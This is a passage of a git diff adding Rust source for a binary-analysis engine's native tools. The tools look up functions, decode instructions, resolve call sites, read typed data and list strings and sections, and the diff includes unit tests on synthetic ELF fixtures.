+fn is_ghidra_name(function: &str) -> bool { + let s = function.trim(); + ["FUN_", "SUB_", "sub_", "LAB_"].iter().any(|p| s.starts_with(p)) +} + +fn ghidra_address(function: &str) -> Option { + let s = function.trim(); + if let Some(hex) = ["FUN_", "SUB_", "sub_", "LAB_"].iter().find_map(|p| s.strip_prefix(p)) { + let hex = hex.strip_prefix("0x").or_else(|| hex.strip_prefix("0X")).unwrap_or(hex); + return u64::from_str_radix(hex, 16).ok(); + } + super::parse_address(s).ok() +} + +fn native_function_address_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + with_proc!(ctx, params, ProcParams, |p, st, t, f| { + let name = name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()); + let e = ev(ctx, "native_function_address_show", params_json(&p))? + .result(json!({"function": name, "address": hex(f.entry)})) + .summary(format!("{name} starts at {:#x}.", f.entry)) + .location(Location::address(f.entry)) + .build()?; + Ok(ToolOutput::evidence(e)) + }) +} + +fn insn_json(st: &super::native_common::NativeState, t: &crate::session::OpenTarget, i: &craft_anything_disasm::Insn) -> Value { + json!({ + "address": hex(i.addr), + "bytes": st.img.read(i.addr, usize::from(i.len)).map(hex::encode).unwrap_or_default(), + "length": i.len, + "mnemonic": i.mnemonic, + "operands": i.operands, + "text": i.text(), + "flow": i.flow, + "condition": i.cond, + "references": i.refs.iter().filter(|r| st.img.is_mapped(**r)).map(|r| json!({"address": hex(*r), "name": name_of(t, &st.prog, *r), "string": st.prog.string_at(*r).map(|s| s.text.clone())})).collect::>(), + "reads": i.reads, + "writes": i.writes, + }) +} + +fn native_function_instructions_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + with_proc!(ctx, params, ProcParams, |p, st, t, f| { + let name = name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()); + let insns = st.prog.instructions(&st.img, f, true); + let rows: Vec = insns.iter().map(|i| insn_json(&st, t, i)).collect(); + let e = ev(ctx, "native_function_instructions_list", params_json(&p))? + .result(json!({"function": f.name, "entry": hex(f.entry), "instructions": rows})) + .summary(format!("{} instructions in {name}.", rows.len())) + .coverage(Coverage::complete(rows.len() as u64)) + .location(Location::address(f.entry)) + .build()?; + Ok(ToolOutput::evidence(e)) + }) +} + +fn native_function_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AddrParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::parse_address(&p.address)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let f = st.prog.function_containing(a); + let result = match f { + Some(f) => json!({"address": hex(a), "function": name_of(t, &st.prog, f.entry), "entry": hex(f.entry), "offset": a - f.entry}), + None => { + json!({"address": hex(a), "function": null, "reason": if st.img.is_exec(a) { "not inside any discovered function" } else { "not in executable code" }}) + } + }; + let summary = match f { + Some(f) => { + let name = name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()); + format!("{a:#x} is inside {name} (+{:#x}).", a - f.entry) + } + None => format!("{a:#x} isn't inside a known function."), + }; + let mut b = + ev(ctx, "native_function_find", params_json(&p))?.result(result).summary(summary).confidence(Confidence::Derived).location(Location::address(a)); + if f.is_none() { + b = b.limitation(Limitation::new("not_found", "the address may be in code the engine didn't discover (absence is not proof)")); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +fn native_instruction_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AddrParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::parse_address(&p.address)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let f = st.prog.function_containing(a); + let (result, summary, conf) = if st.img.is_exec(a) { + // Decode with the AArch64 constant tracker primed from the block start. + let insn = match f.and_then(|f| f.block_at(a)) { + Some(b) if st.prog.mode == craft_anything_disasm::Mode::A64 => { + let mut consts = craft_anything_disasm::ArmConsts::default(); + let mut cur = b.start; + let mut found = None; + while cur <= a { + let Some(mut i) = st.img.decode(cur, true) else { break }; + consts.apply(&mut i); + cur = i.end(); + if i.addr == a { + found = Some(i); + break; + } + } + found + } + _ => st.img.decode(a, true), + }; + match insn { + Some(i) => { + let mut v = insn_json(&st, t, &i); + v["kind"] = json!("instruction"); + v["function"] = json!(f.map(|f| name_of(t, &st.prog, f.entry))); + v["xrefs_from"] = json!(st.prog.xrefs_from.get(&a)); + v["xrefs_to"] = json!(st.prog.xrefs_to.get(&a).map(Vec::len).unwrap_or(0)); + (v, format!("{a:#x}: {}", i.text()), Confidence::Observed) + } + None => ( + json!({"address": hex(a), "kind": "invalid", "bytes": st.img.read(a, 8).map(hex::encode)}), + format!("{a:#x} doesn't decode as an instruction."), + Confidence::Observed, + ), + } + } else { + let bytes = st.img.read(a, 16).map(hex::encode); + ( + json!({"address": hex(a), "kind": "data", "bytes": bytes, "string": st.prog.string_at(a).map(|s| s.text.clone()), "name": name_of(t, &st.prog, a)}), + format!("{a:#x} is data, not code."), + Confidence::Observed, + ) + }; + let e = ev(ctx, "native_instruction_show", params_json(&p))?.result(result).summary(summary).confidence(conf).location(Location::address(a)).build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_call_site_resolve(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AddrParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::parse_address(&p.address)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let f = st.prog.function_containing(a); + let call = f.and_then(|f| f.calls.iter().find(|c| c.site == a)); + let jt = f.and_then(|f| f.jump_tables.iter().find(|j| j.site == a)); + let insn = st.img.decode(a, true); + let (status, targets, mut lims): (&str, Vec, Vec) = match (call, jt, insn.as_ref().map(|i| i.flow)) { + (Some(c), _, flow) if c.import.is_some() => { + let slot = match flow { + Some(Flow::IndirectCall { slot: Some(s) } | Flow::IndirectJump { slot: Some(s) }) => Some(s), + _ => c.target.or_else(|| c.import.as_ref().and_then(|imp| st.prog.import_slots.iter().find(|(_, s)| s.name == *imp).map(|(s, _)| *s))), + }; + ("resolved", vec![json!({"import": c.import, "slot": slot.map(hex)})], vec![]) + } + (Some(c), _, _) if c.target.is_some() => { + ("resolved", vec![json!({"address": c.target.map(hex), "name": c.target.and_then(|x| name_of(t, &st.prog, x))})], vec![]) + } + (_, Some(j), _) => ( + if j.targets.len() == 1 { "resolved" } else { "ambiguous" }, + j.targets.iter().map(|x| json!({"address": hex(*x), "via": "jump table", "table": hex(j.table)})).collect(), + vec![Limitation::new("jump_table_bounds", "jump-table size is inferred from a bounds check or from where valid entries stop")], + ), + (_, _, Some(Flow::Call { target } | Flow::Jump { target } | Flow::Cond { target })) => { + ("resolved", vec![json!({"address": hex(target), "name": name_of(t, &st.prog, target)})], vec![]) + } + (_, _, Some(Flow::IndirectCall { slot: Some(s) } | Flow::IndirectJump { slot: Some(s) })) => { + ("resolved", vec![json!({"slot": hex(s), "name": name_of(t, &st.prog, s), "pointer_value": st.img.bin.read_ptr(&st.img.data, s).map(hex)})], vec![]) + } + (_, _, Some(Flow::IndirectCall { slot: None } | Flow::IndirectJump { slot: None })) => ( + "unresolved", + vec![], + vec![Limitation::new("indirect_target_unknown", "the target is computed at run time (register or table); static analysis can't pin it")], + ), + (_, _, Some(_)) => ("not_a_call", vec![], vec![]), + (_, _, None) => ("not_code", vec![], vec![]), + }; + if f.is_none() && status != "not_code" { + lims.push(Limitation::new("outside_function", "the site isn't inside a discovered function")); + } + let summary = format!("Call site {a:#x}: {status} ({} candidate targets).", targets.len()); + let e = ev(ctx, "native_call_site_resolve", params_json(&p))? + .result(json!({"site": hex(a), "instruction": insn.map(|i| i.text()), "status": status, "targets": targets})) + .summary(summary) + .confidence(Confidence::Derived) + .limitations(lims) + .location(Location::address(a)) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_data_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DataTypeParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::native_common::address_or_cursor(ctx.session, &p.address)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let img = &st.img; + let le = img.bin.little_endian; + let rd = |n: usize| -> Option { + let b = img.read(a, n)?; + if b.len() < n { + return None; + } + let mut v = 0u64; + for (i, x) in b.iter().enumerate() { + let sh = if le { i * 8 } else { (n - 1 - i) * 8 }; + v |= u64::from(*x) << sh; + } + Some(v) + }; + let ptr = img.pointer_size() as usize; + let describe = |v: u64| -> Value { + if let Some(f) = st.prog.functions.get(&v) { + json!({"points_to": "function", "address": hex(v), "name": name_of(t, &st.prog, f.entry)}) + } else if let Some(s) = st.prog.string_at(v) { + json!({"points_to": "string", "address": hex(v), "text": s.text}) + } else if img.is_mapped(v) { + json!({"points_to": if img.is_exec(v) { "code" } else { "data" }, "address": hex(v), "name": name_of(t, &st.prog, v)}) + } else { + Value::Null + } + }; + let (ty, value, conf) = match p.ty.as_deref() { + Some(ty) => { + let v = match ty { + "u8" => rd(1).map(|v| json!(v)), + "u16" => rd(2).map(|v| json!(v)), + "u32" => rd(4).map(|v| json!(v)), + "u64" => rd(8).map(|v| json!(v)), + "i32" => rd(4).map(|v| json!(v as u32 as i32)), + "i64" => rd(8).map(|v| json!(v as i64)), + "f32" => rd(4).map(|v| json!(f32::from_bits(v as u32)).to_string().into()), + "f64" => rd(8).map(|v| json!(f64::from_bits(v)).to_string().into()), + "pointer" => rd(ptr).map(|v| json!({"value": hex(v), "target": describe(v)})), + "cstring" => img.read(a, 4096).map(|b| json!(String::from_utf8_lossy(b.split(|c| *c == 0).next().unwrap_or(&[])))), + "utf16" => img.read(a, 8192).map(|b| { + let units: Vec = b.as_chunks::<2>().0.iter().map(|c| u16::from_le_bytes(*c)).take_while(|u| *u != 0).collect(); + json!(String::from_utf16_lossy(&units)) + }), + other => return Err(ToolError::invalid(format!("unknown type {other}; use u8, u16, u32, u64, i32, i64, f32, f64, pointer, cstring or utf16"))), + }; + (ty.to_string(), v.ok_or_else(|| ToolError::invalid(format!("{a:#x} isn't backed by enough bytes for {ty}")))?, Confidence::Observed) + } + None => { + if let Some(s) = st.prog.string_at(a) { + ("string".into(), json!({"text": s.text, "encoding": s.encoding, "starts_at": hex(s.addr)}), Confidence::Derived) + } else if let Some(v) = rd(ptr).filter(|v| *v != 0 && img.is_mapped(*v)) { + // A run of pointers is a table (vtable, callback list, string table). + let mut n = 1; + while n < 512 + && img + .bin + .read(&img.data, a + (n * ptr) as u64, ptr) + .and_then(|_| img.bin.read_ptr(&img.data, a + (n * ptr) as u64)) + .is_some_and(|v| img.is_mapped(v)) + { + n += 1; + } + let ty = if n > 1 { format!("pointer[{n}]") } else { "pointer".into() }; + (ty, json!({"value": hex(v), "target": describe(v), "table_length": n}), Confidence::Inferred) + } else if let Some(v) = rd(4) { + ( + "u32".into(), + json!({"value": v, "hex": hex(v), "as_i32": v as u32 as i32, "as_f32": f32::from_bits(v as u32).to_string()}), + Confidence::Inferred, + ) + } else { + return Err(ToolError::invalid(format!("{a:#x} isn't backed by bytes in the file"))); + } + } + }; + let e = ev(ctx, "native_data_show", params_json(&p))? + .result(json!({"address": hex(a), "type": ty, "value": value, "name": name_of(t, &st.prog, a), "section": img.bin.section_at(a).map(|s| s.name.clone()), "references_to": st.prog.xrefs_to.get(&a).map(Vec::len).unwrap_or(0)})) + .summary(format!("{a:#x} looks like {ty}.")) + .confidence(conf) + .limitation(Limitation::new("no_type_recovery", "the clean-room engine doesn't recover declared types; this reads the bytes and infers what they look like")) + .location(Location::address(a)) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::*; + use craft_anything_testkit as tk; + use serde_json::json; + + #[test] + fn function_tools() { + let (elf, l) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &elf); + let r = call(&e, "native_function_show", json!({"function": "helper"})); + assert_eq!(r["result"]["basic_blocks"], 3); + assert_eq!(r["confidence"], "derived"); + let r = call(&e, "native_function_disassemble", json!({"function": "main"})); + assert!(r["result"]["assembly"].as_str().unwrap().contains("; \"Hello, Craft!\"")); + let r = call(&e, "native_function_callees_list", json!({"function": "main"})); + assert_eq!(r["result"]["callees"].as_array().unwrap().len(), 3); + let r = call(&e, "native_function_callers_list", json!({"function": "dispatch"})); + assert_eq!(r["result"]["callers"][0]["name"], "main"); + let r = call(&e, "native_function_references_list", json!({"function": "main", "direction": "outgoing"})); + assert!(r["result"]["references"].as_array().unwrap().iter().any(|x| x["kind"] == "string")); + let r = call(&e, "native_function_references_list", json!({"function": "helper", "direction": "incoming"})); + assert_eq!(r["result"]["references"].as_array().unwrap().len(), 1); + let r = call(&e, "native_function_pseudocode", json!({"function": "main"})); + assert_eq!(r["confidence"], "inferred"); + assert!(r["result"]["pseudo_code"].as_str().unwrap().contains("puts(\"Hello, Craft!\")")); + assert!(!r["limitations"].as_array().unwrap().is_empty()); + // Deep mode without Ghidra: the built-in answer says so, instead of passing as Ghidra's. + let store = tempfile::tempdir().unwrap(); + { + let mut s = e.session(); + s.settings.deep_mode = true; + s.settings.engines.store_dir = Some(store.path().to_path_buf()); + } + let r = call(&e, "native_function_pseudocode", json!({"function": "main"})); + assert_eq!(r["environment"]["engine"], "builtin"); + let why = r["limitations"].as_array().unwrap().iter().find(|l| l["code"] == "deep_engine_unavailable").expect("says why Ghidra wasn't used"); + assert!(why.to_string().contains("isn't installed") && why.to_string().contains("came from the built-in decompiler"), "{why}"); + // A function the built-in analysis never mapped goes to Ghidra in Deep mode; without + // Ghidra the error says why rather than just "not found". + let err = call_err(&e, "native_function_pseudocode", json!({"function": "FUN_7fff0000"})); + let hint = err.remediation.unwrap_or_default(); + assert!(hint.contains("isn't installed") && hint.contains("native_function_find"), "{hint}"); + assert!(!hint.contains("came from the built-in decompiler"), "nothing was decompiled: {hint}"); + // Clean room never decompiles: the tool is refused, saying how to turn Deep mode on. + e.session().settings.deep_mode = false; + let err = call_err(&e, "native_function_pseudocode", json!({"function": "main"})); + assert!(crate::clean_room::is_refusal(&err) && err.remediation.unwrap_or_default().contains("Deep mode"), "{}", err.message); + e.session().settings.deep_mode = true; + for (input, expected) in [ + ("FUN_145f7f5b0", Some(0x145f7f5b0)), + ("FUN_00401000", Some(0x401000)), + ("FUN_140001000", Some(0x140001000)), + ("SUB_00401000", Some(0x401000)), + ("sub_00401000", Some(0x401000)), + ("LAB_00401000", Some(0x401000)), + ("0x10", Some(0x10)), + ("401000h", Some(0x401000)), + ("4096", Some(4096)), + ("main", None), + ] { + assert_eq!(super::ghidra_address(input), expected, "{input}"); + } + let r = call(&e, "native_function_address_show", json!({"function": "dispatch"})); + assert_eq!(r["result"]["address"], format!("{:#x}", l.code_va + tk::x64::DISPATCH)); + let r = call(&e, "native_function_instructions_list", json!({"function": "helper"})); + assert_eq!(r["result"]["instructions"][0]["text"], "push rbp"); + let inside = format!("{:#x}", l.code_va + tk::x64::HELPER + 4); + let r = call(&e, "native_function_find", json!({"address": inside})); + assert_eq!(r["result"]["function"], "helper"); + let r = call(&e, "native_instruction_show", json!({"address": format!("{:#x}", l.code_va + 8)})); + assert_eq!(r["result"]["references"][0]["string"], tk::HELLO); + let r = call(&e, "native_call_site_resolve", json!({"address": format!("{:#x}", l.code_va + 15)})); + assert_eq!(r["result"]["targets"][0]["import"], "puts"); + assert_eq!(r["result"]["targets"][0]["slot"], format!("{:#x}", l.got_va)); + let jmp = format!("{:#x}", l.code_va + tk::x64::DISPATCH + 0x15); + let r = call(&e, "native_call_site_resolve", json!({"address": jmp})); + assert_eq!(r["result"]["status"], "ambiguous"); + assert_eq!(r["result"]["targets"].as_array().unwrap().len(), 3); + let r = call(&e, "native_data_show", json!({"address": format!("{:#x}", l.rodata_va)})); + assert_eq!(r["result"]["type"], "string"); + let r = call(&e, "native_data_show", json!({"address": format!("{:#x}", l.rodata_va + tk::rodata::TABLE), "type": "i32"})); + assert!(r["result"]["value"].is_number()); + let err = call_err(&e, "native_function_show", json!({"function": "nope"})); + assert!(err.remediation.unwrap().contains("native_functions_search")); + // by address works too + let r = call(&e, "native_function_show", json!({"function": format!("{:#x}", l.code_va)})); + assert_eq!(r["result"]["name"], "main"); + } + + /// #350: Function summaries use the annotated name after a rename. + #[test] + fn function_summaries_use_annotated_name_after_rename() { + let (bytes, l) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &bytes); + call(&e, "native_function_label", json!({"function": "main", "name": "RenamedEntry"})); + + let dis = call(&e, "native_function_disassemble", json!({"function": "RenamedEntry"})); + assert!(dis["summary"].as_str().unwrap().contains("instructions of RenamedEntry.")); + + let callees = call(&e, "native_function_callees_list", json!({"function": "RenamedEntry"})); + assert!(callees["summary"].as_str().unwrap().starts_with("RenamedEntry makes ")); + + let callers = call(&e, "native_function_callers_list", json!({"function": "RenamedEntry"})); + assert!(callers["summary"].as_str().unwrap().starts_with("RenamedEntry is called from ")); + + let refs = call(&e, "native_function_references_list", json!({"function": "RenamedEntry"})); + assert!(refs["summary"].as_str().unwrap().contains("references for RenamedEntry.")); + + let insns = call(&e, "native_function_instructions_list", json!({"function": "RenamedEntry"})); + assert!(insns["summary"].as_str().unwrap().contains("instructions in RenamedEntry.")); + + let inside = format!("{:#x}", l.code_va + 4); + let find = call(&e, "native_function_find", json!({"address": inside})); + assert!(find["summary"].as_str().unwrap().contains("is inside RenamedEntry ")); + } + + #[test] + fn call_site_resolve_preserves_indirect_import_slot() { + let (bytes, layout) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &bytes); + let site = layout.code_va + 15; + let r = call(&e, "native_call_site_resolve", json!({"address": format!("{site:#x}")})); + assert_eq!(r["result"]["status"], "resolved"); + assert_eq!(r["result"]["targets"][0]["import"], "puts"); + assert_eq!(r["result"]["targets"][0]["slot"], format!("{:#x}", layout.got_va)); + + // Control 1: non-import indirect memory call retains slot + let mut nonimport = bytes.clone(); + let off = (tk::ELF_TEXT_OFF as usize) + 15; + let disp = (layout.rodata_va as i64 - (site + 6) as i64) as i32; + nonimport[off + 2..off + 6].copy_from_slice(&disp.to_le_bytes()); + let e_nonimport = engine_with("nonimport", &nonimport); + let r_nonimport = call(&e_nonimport, "native_call_site_resolve", json!({"address": format!("{site:#x}")})); + assert_eq!(r_nonimport["result"]["status"], "resolved"); + assert_eq!(r_nonimport["result"]["targets"][0]["slot"], format!("{:#x}", layout.rodata_va)); + + // Control 2: register call (call rax) is unresolved + let mut register = bytes; + register[off..off + 6].copy_from_slice(&[0xff, 0xd0, 0x90, 0x90, 0x90, 0x90]); + let e_reg = engine_with("reg", ®ister); + let r_reg = call(&e_reg, "native_call_site_resolve", json!({"address": format!("{site:#x}")})); + assert_eq!(r_reg["result"]["status"], "unresolved"); + assert_eq!(r_reg["result"]["targets"], json!([])); + } +} diff --git a/desktop/crates/engine/src/tools/native_listing.rs b/desktop/crates/engine/src/tools/native_listing.rs new file mode 100644 index 0000000..79d7ff4 --- /dev/null +++ b/desktop/crates/engine/src/tools/native_listing.rs @@ -0,0 +1,735 @@ +//! Native inventories: functions, segments, strings, names, documents, bookmarks; searches; +//! raw bytes; address ↔ file offset; cross-references; reading names and comments. + +use super::native_common::{DEFAULT_LIMIT, address_or_cursor, ev, hex, image, name_of, native, page, params_json, select_document, spec}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_disasm::slot_label; +use craft_anything_evidence::{Confidence, Coverage, ErrorCode, Limitation, Location, ToolError}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; + +pub fn specs() -> Vec { + use Toolset::Native; + let e = Effects::EVIDENCE; + let t = Requires::Target; + vec![ + spec( + "native_functions_list", + "List functions", + "Every function the built-in engine found: entry, name, size, blocks, how it was found. Paged (offset/limit).", + "See every function (piece of code) in the program.", + Native, + e, + t, + schema_of::, + native_functions_list, + ), + spec( + "native_sections_list", + "List segments", + "Segments and sections with address ranges, file offsets, permissions and entropy.", + "See how the program is laid out in memory.", + Native, + e, + t, + schema_of::, + native_sections_list, + ), + spec( + "native_strings_browse", + "List strings", + "Printable strings (ASCII, UTF-8, UTF-16) in data sections with their addresses and how many places use them. Optional filters: one address, one section (`.rdata`); native_strings_find finds text. Paged.", + "See the text inside the program.", + Native, + e, + t, + schema_of::, + native_strings_browse, + ), + spec( + "native_named_addresses_list", + "List names", + "Named addresses: your names, functions, data symbols and import slots. Optional single-address filter. Paged.", + "See every named place in the program.", + Native, + e, + t, + schema_of::, + native_named_addresses_list, + ), + spec( + "native_open_documents_list", + "List documents", + "Open targets (documents) with ids, kinds and which one is active.", + "See what's open.", + Native, + Effects::READ_ONLY, + Requires::Nothing, + schema_of::, + native_open_documents_list, + ), + spec( + "native_bookmarks_show", + "List bookmarks", + "Bookmarks you or an agent set on the active target.", + "See your bookmarks.", + Native, + Effects::READ_ONLY, + t, + schema_of::, + native_bookmarks_show, + ), + spec( + "native_functions_search", + "Search functions", + "Complete, deterministic search of function names (yours and the engine's) and imports (kind \"import\", e.g. CreateWindowExW). mode literal or regex; case-insensitive unless case_sensitive. Paged.", + "Find functions by name.", + Native, + e, + t, + schema_of::, + native_functions_search, + ), + spec( + "native_strings_find", + "Search strings", + "Complete, deterministic search of the program's strings. mode literal or regex; case-insensitive unless case_sensitive. Paged.", + "Find text inside the program.", + Native, + e, + t, + schema_of::, + native_strings_find, + ), + spec( + "native_bytes_show", + "Read bytes", + "Bytes at a virtual address as hex (default 256, at most 65536), never past the end of the section.", + "Look at the raw bytes somewhere in the program.", + Native, + e | Effects::CARRIES_TARGET_CONTENT, + t, + schema_of::, + native_bytes_show, + ), + spec( + "native_address_offset_show", + "Address to file offset", + "Map a virtual address to its offset in the original file (and the section holding it).", + "Find where an address lives in the file on disk.", + Native, + e, + t, + schema_of::, + native_address_offset_show, + ), + spec( + "native_xrefs_list", + "Cross-references", + "References to an address (calls, jumps, data, strings, pointers, imports) and the references made from it. Defaults to the cursor. Paged.", + "See what uses this address.", + Native, + e, + t, + schema_of::, + native_xrefs_list, + ), + spec( + "native_name_show", + "Name at address", + "The primary name at an address (your name first), or null.", + "What is this address called?", + Native, + e, + t, + schema_of::, + native_name_show, + ), + spec( + "native_comment_read", + "Read comment", + "The comment at an address, or null.", + "Read the note at this address.", + Native, + Effects::READ_ONLY, + t, + schema_of::, + native_comment_read, + ), + spec( + "native_inline_comment_read", + "Read inline comment", + "The inline comment at an address, or null.", + "Read the short note on this line.", + Native, + Effects::READ_ONLY, + t, + schema_of::, + native_inline_comment_read, + ), + ] +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct NoParams {} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DocParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, +} + +fn default_limit() -> usize { + DEFAULT_LIMIT +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PageParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// First item to return. + #[serde(default)] + pub offset: usize, + /// Items per page (default 200, at most 5000). + #[serde(default = "default_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct StringsParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Only the string at this address (0x-hex). + #[serde(default)] + pub address: Option, + /// Only strings in this section (`.rdata`, `__cstring`; case doesn't matter). + #[serde(default)] + pub section: Option, + /// First item to return. + #[serde(default)] + pub offset: usize, + /// Items per page (default 200, at most 5000). + #[serde(default = "default_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AddrPageParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Only this address (0x-hex). + #[serde(default)] + pub address: Option, + /// First item to return. + #[serde(default)] + pub offset: usize, + /// Items per page (default 200, at most 5000). + #[serde(default = "default_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AddrParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Virtual address (0x-hex). + pub address: String, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct OptAddrParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Virtual address (0x-hex); the cursor when omitted. + #[serde(default)] + pub address: Option, +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum SearchMode { + #[default] + Literal, + Regex, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SearchParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// What to look for. + pub pattern: String, + /// literal (default) or regex. + #[serde(default)] + pub mode: SearchMode, + /// Match case exactly (default false). + #[serde(default)] + pub case_sensitive: bool, + /// First match to return. + #[serde(default)] + pub offset: usize, + /// Matches per page (default 200, at most 5000). + #[serde(default = "default_limit")] + pub limit: usize, +} + +fn default_len() -> usize { + 256 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ReadBytesParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Virtual address (0x-hex). + pub address: String, + /// How many bytes (1..=65536, default 256). + #[serde(default = "default_len")] + pub length: usize, +} + +/// A compiled search matcher. +pub enum Matcher { + Literal { needle: String, case_sensitive: bool }, + Regex(regex::Regex), +} + +impl Matcher { + pub fn new(pattern: &str, mode: SearchMode, case_sensitive: bool) -> Result { + if pattern.is_empty() { + return Err(ToolError::invalid("pattern is empty")); + } + match mode { + SearchMode::Literal => Ok(Matcher::Literal { needle: if case_sensitive { pattern.to_string() } else { pattern.to_lowercase() }, case_sensitive }), + SearchMode::Regex => regex::RegexBuilder::new(pattern) + .case_insensitive(!case_sensitive) + .size_limit(1 << 20) + .dfa_size_limit(4 << 20) + .build() + .map(Matcher::Regex) + .map_err(|e| ToolError::invalid(format!("bad regex: {e}"))), + } + } + + pub fn is_match(&self, s: &str) -> bool { + match self { + Matcher::Literal { needle, case_sensitive: true } => s.contains(needle.as_str()), + Matcher::Literal { needle, case_sensitive: false } => s.to_lowercase().contains(needle.as_str()), + Matcher::Regex(r) => r.is_match(s), + } + } +} + +fn native_functions_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PageParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let rows: Vec = st + .prog + .functions + .values() + .map(|f| { + json!({ + "address": hex(f.entry), + "name": name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()), + "size": f.size(), + "blocks": f.blocks.len(), + "instructions": f.insn_count, + "found_by": f.discovered_by, + "name_source": if t.annotations.names.contains_key(&f.entry) { "user" } else { f.name_source }, + "thunk_of": f.thunk_of, + }) + }) + .collect(); + let (items, cov) = page(&rows, p.offset, p.limit); + let cov = super::native_common::program_coverage(&st.prog, cov); + let e = ev(ctx, "native_functions_list", params_json(&p))? + .result(json!({"functions": items, "total": rows.len()})) + .summary(format!("{} functions (showing {}).", rows.len(), items.len())) + .confidence(Confidence::Derived) + .coverage(cov) + .limitations(st.prog.limitations.iter().map(|(c, m)| Limitation::new(c.clone(), m.clone()))) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_sections_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DocParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let img = image(ctx)?; + let b = &img.0.bin; + let segs: Vec = b + .segments + .iter() + .map(|s| json!({"name": s.name, "start": hex(s.addr), "end": hex(s.addr.saturating_add(s.size)), "size": s.size, "file_offset": s.file_offset, "file_size": s.file_size, "read": s.read, "write": s.write, "exec": s.exec})) + .collect(); + let secs: Vec = b + .sections + .iter() + .map(|s| { + json!({"name": s.name, "segment": s.segment, "start": hex(s.addr), "end": hex(s.addr.saturating_add(s.size)), "size": s.size, "file_offset": s.file_offset, "file_size": s.file_size, "read": s.read, "write": s.write, "exec": s.exec, "kind": s.kind, "entropy": s.entropy}) + }) + .collect(); + let n = segs.len() + secs.len(); + let e = ev(ctx, "native_sections_list", params_json(&p))? + .result(json!({"segments": segs, "sections": secs})) + .summary(format!("{} segments and {} sections.", b.segments.len(), b.sections.len())) + .coverage(Coverage::complete(n as u64)) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_strings_browse(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: StringsParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let st = native(ctx)?; + let filter = p.address.as_deref().map(super::parse_address).transpose()?; + let section = p.section.as_deref().map(str::trim).filter(|s| !s.is_empty()); + if let Some(want) = section + && !st.prog.strings.iter().any(|s| s.section.eq_ignore_ascii_case(want)) + { + let mut have: Vec<&str> = st.prog.strings.iter().map(|s| s.section.as_str()).collect(); + have.sort_unstable(); + have.dedup(); + return Err(ToolError::new(ErrorCode::NotFound, format!("No strings in a section named {want:?}.")).with_remediation(if have.is_empty() { + "This program has no strings listed.".to_string() + } else { + format!("Sections with strings: {}.", have.join(", ")) + })); + } + let rows: Vec = st + .prog + .strings + .iter() + .filter(|s| filter.is_none_or(|a| a >= s.addr && a < s.addr.saturating_add(s.byte_len.max(1)))) + .filter(|s| section.is_none_or(|want| s.section.eq_ignore_ascii_case(want))) + .map(|s| json!({"address": hex(s.addr), "text": s.text, "encoding": s.encoding, "section": s.section, "file_offset": s.file_offset, "references": 